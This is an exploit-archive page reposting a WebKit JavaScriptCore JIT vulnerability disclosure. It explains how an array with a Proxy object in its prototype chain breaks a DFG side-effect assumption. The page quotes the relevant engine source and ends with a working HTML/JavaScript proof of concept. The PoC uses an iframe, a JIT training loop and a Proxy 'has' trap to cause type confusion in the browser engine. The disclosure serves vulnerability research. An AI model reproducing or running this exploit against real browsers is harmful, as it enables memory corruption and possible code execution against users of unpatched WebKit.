webkit jit int32double arrays can have proxy objects in the prototype chains
▸▸▸ Exploit & Vulnerability >> dos exploit & multiple vulnerability
<!-- Bug: void JSObject::setPrototypeDirect(VM& vm, JSValue prototype) { ASSERT(prototype); if (prototype.isObject()) prototype.asCell()->didBecomePrototype(); if (structure(vm)->hasMonoProto()) { DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm)); Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred); setStructure(vm, newStructure); } else putDirect(vm, knownPolyProtoOffset, prototype); if (!anyObjectInChainMayInterceptIndexedAccesses(vm)) return; if (mayBePrototype()) { structure(vm)->globalObject()->haveABadTime(vm); return; } if (!hasIndexedProperties(indexingType())) return; if (shouldUseSlowPut(indexingType())) return; switchToSlowPutArrayStorage(vm); } JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain. Exploit: case HasIndexedProperty: { ArrayMode mode = node->arrayMode(); switch (mode.type()) { case Array::Int32: case Array::Double: case Array::Contiguous: case Array::ArrayStorage: { break; } default: { clobberWorld(); break; } } setNonCellTypeForNode(node, SpecBoolean); break; } From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481 The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable. PoC: --> <body> <script> function opt(arr, arr2) { arr[1] = 1.1; let tmp = 0 in arr2; arr[0] = 2.3023e-320; return tmp; } function main() { let o = document.body.appendChild(document.createElement('iframe')).contentWindow; // haveABadTime o.eval(` let p = new Proxy({}, {}); let a = {__proto__: {}}; a.__proto__.__proto__ = p; `); let arr = [1.1, 2.2]; let arr2 = [1.1, 2.2]; let proto = new o.Object(); let handler = {}; arr2.__proto__ = proto; proto.__proto__ = new Proxy({}, { has() { arr[0] = {}; return true; } }); for (let i = 0; i < 10000; i++) { opt(arr, arr2); } setTimeout(() => { delete arr2[0]; opt(arr, arr2); alert(arr[0]); }, 500); } main(); </script> </body>
Webkit jit int32double arrays can have proxy objects in the prototype chains Vulnerability / Exploit Source : Webkit jit int32double arrays can have proxy objects in the prototype chains